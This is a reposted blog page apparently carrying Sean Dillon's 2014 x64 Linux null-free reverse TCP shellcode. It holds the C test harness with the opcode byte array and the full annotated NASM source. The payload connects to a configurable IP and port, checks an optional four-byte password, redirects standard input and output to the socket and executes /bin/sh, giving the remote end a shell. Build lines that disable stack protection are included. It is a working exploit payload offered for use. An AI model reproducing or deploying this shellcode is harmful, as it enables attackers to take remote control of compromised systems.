1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
|
x64 Linux reverse TCP connect shellcode (77 to 85 bytes, 90 to 98 with password)
/*
* Author: Sean Dillon
* Copyright: (c) 2014 CAaNES, LLC. (http://caanes.com)
* Release Date: December 19, 2014
*
* Description: x64 Linux null-free reverse TCP shellcode, optional 4 byte password
* Assembled Size: 77 - 85 bytes, 90 - 98 with password
* Tested On: Kali 1.0.9a GNU/Linux 3.14.5-kali1-amd64 x86_64
* License: http://opensource.org/license/MIT
*
* Build/Run: gcc -m64 -z execstack -fno-stack-protector reverseshell.c -o reverseshell.out
* nc -l -p 4444
*/
/*
* NOTE: This C code connects to 127.0.0.1:4444 and does not have the password option enabled.
* Because the IP 127.0.0.1 contains null-bytes, a mask has to be used, adding 8 bytes.
* The end of this file contains the .nasm source code and instructions for building from that.
*/
#include <stdio.h>
#include <string.h>
char
shellcode[] =
"\x31\xf6"
/* xor %esi,%esi */
"\xf7\xe6"
/* mul %esi */
"\xff\xc6"
/* inc %esi */
"\x6a\x02"
/* pushq $0x2 */
"\x5f"
/* pop %rdi */
"\x04\x29"
/* add $0x29,%al */
"\x0f\x05"
/* syscall */
"\x50"
/* push %rax */
"\x5f"
/* pop %rdi */
"\x52"
/* push %rdx */
"\x52"
/* push %rdx */
"\xc7\x44\x24\x04\x7d\xff\xfe"
/* movl $0xfefeff7d,0x4(%rsp) */
"\xfe"
/* . */
"\x81\x44\x24\x04\x02\x01\x01"
/* addl $0x2010102,0x4(%rsp) */
"\x02"
/* . */
"\x66\xc7\x44\x24\x02\x11\x5c"
/* movw $0x5c11,0x2(%rsp) */
"\xc6\x04\x24\x02"
/* movb $0x2,(%rsp) */
"\x54"
/* push %rsp */
"\x5e"
/* pop %rsi */
"\x6a\x10"
/* pushq $0x10 */
"\x5a"
/* pop %rdx */
"\x6a\x2a"
/* pushq $0x2a */
"\x58"
/* pop %rax */
"\x0f\x05"
/* syscall */
"\x6a\x03"
/* pushq $0x3 */
"\x5e"
/* pop %rsi */
"\xff\xce"
/* dec %esi */
"\xb0\x21"
/* mov $0x21,%al */
"\x0f\x05"
/* syscall */
"\x75\xf8"
/* jne 39 <dupe_loop> */
"\x56"
/* push %rsi */
"\x5a"
/* pop %rdx */
"\x56"
/* push %rsi */
"\x48\xbf\x2f\x2f\x62\x69\x6e"
/* movabs $0x68732f6e69622f2f,%rdi */
"\x2f\x73\x68"
/* . */
"\x57"
/* push %rdi */
"\x54"
/* push %rsp */
"\x5f"
/* pop %rdi */
"\xb0\x3b"
/* mov $0x3b,%al */
"\x0f\x05"
/* syscall */
;
main(
void
)
{
printf
(
"Shellcode length: %d\n"
, (
int
)
strlen
(shellcode));
/* pollute registers and call shellcode */
__asm__ (
"mov $0xffffffffffffffff, %rax\n\t"
"mov %rax, %rbx\n\t"
"mov %rax, %rcx\n\t"
"mov %rax, %rdx\n\t"
"mov %rax, %rsi\n\t"
"mov %rax, %rdi\n\t"
"mov %rax, %rbp\n\t"
"call shellcode"
);
}
/* --------------------------------------------------------------------------------------
; Author: Sean Dillon
; Company: CAaNES, LLC. (http://caanes.com)
; Release Date: December 19, 2014
;
; Description: x64 Linux null-free reverse TCP shellcode, optional 4 byte password
; Assembled Size: 77 - 85 bytes, 90 - 98 with password
; Tested On: Kali 1.0.9a GNU/Linux 3.14.5-kali1-amd64 x86_64
; License: http://opensource.org/license/MIT
;
; Build/Run: nasm -f elf64 -o reverseshell.o reverseshell.nasm
; ld -o reverseshell reverseshell.o
; objdump -d --disassembler-options=addr64 reverseshell
BITS 64
global _start
section .text
; settings
%define USEPASSWORD ; comment this to not require password
PASSWORD equ 'Z~r0' ; cmp dword (SEGFAULT on fail; no bruteforce/cracking/etc.)
IP equ 0x0100007f ; default 127.0.0.1, contains nulls so will need mask
PORT equ 0x5c11 ; default 4444
; change the null-free mask as needed
%define NULLFREE_MASK 0x02010102 ; comment this out if no .0. in IP, save 8 bytes
%ifdef NULLFREE_MASK
%define NULLFREE_IP IP - NULLFREE_MASK
%else
%define NULLFREE_IP IP
%endif
; syscall kernel opcodes
SYS_SOCKET equ 0x29
SYS_CONNECT equ 0x2a
SYS_DUP2 equ 0x21
SYS_EXECVE equ 0x3b
; argument constants
AF_INET equ 0x2
SOCK_STREAM equ 0x1
_start:
; High level psuedo-C overview of shellcode logic:
;
; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
; IP = NULLFREE_IP + NULLFREE_MASK
; struct sockaddr = {AF_INET; [PORT; IP; 0x0]}
;
; connect(sockfd, &sockaddr, 16)
;
; read(sockfd, *pwbuf, 16) // 16 > 4
; if (pwbuf != PASSWORD) goto drop
;
; dup2(sockfd, STDIN+STDOUT+STDERR)
; execve("/bin/sh", NULL, NULL)
create_sock:
; sockfd = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor esi, esi ; 0 out rsi
mul esi ; 0 out rax, rdx
; rdx = IPPROTO_IP (int: 0)
inc esi ; rsi = SOCK_STREAM (int: 1)
push AF_INET ; rdi = AF_INET (int: 2)
pop rdi
add al, SYS_SOCKET
syscall
; copy socket descriptor to rdi for future use
push rax
pop rdi
struct_sockaddr:
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
push rdx
push rdx
mov dword [rsp + 0x4], NULLFREE_IP
%ifdef NULLFREE_MASK
add dword [rsp + 0x4], NULLFREE_MASK
%endif
mov word [rsp + 0x2], PORT
mov byte [rsp], AF_INET
connect_sock:
; connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
push rsp
pop rsi
push 0x10
pop rdx
push SYS_CONNECT
pop rax
syscall
%ifdef USEPASSWORD
password_check:
; password = read(sockfd, *buf, 4)
; rsi = &buf (char*)
; rdx = 0x10, >4 bytes
xor eax, eax ; SYS_READ = 0x0
syscall
cmp dword [rsp], PASSWORD ; simple comparison
jne drop ; bad pw, abort
%endif
dupe_sockets:
; dup2(sockfd, STDIN)
; dup2(sockfd, STDOUT)
; dup2(sockfd, STERR)
push 0x3 ; loop down file descriptors for I/O
pop rsi
dupe_loop:
dec esi
mov al, SYS_DUP2
syscall
jne dupe_loop
exec_shell:
; execve('//bin/sh', NULL, NULL)
push rsi ; *argv[] = 0
pop rdx ; *envp[] = 0
push rsi ; '\0'
mov rdi, '//bin/sh' ; str
push rdi
push rsp
pop rdi ; rdi = &str (char*)
mov al, SYS_EXECVE ; we fork with this syscall
syscall
drop:
; password check failed, crash program with BADINSTR/SEGFAULT
;--------------------------------------------------------------------------------------*/
# www.acehat.com [2015-04-22] #
|
本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1825971 ,如需转载请自行联系原作者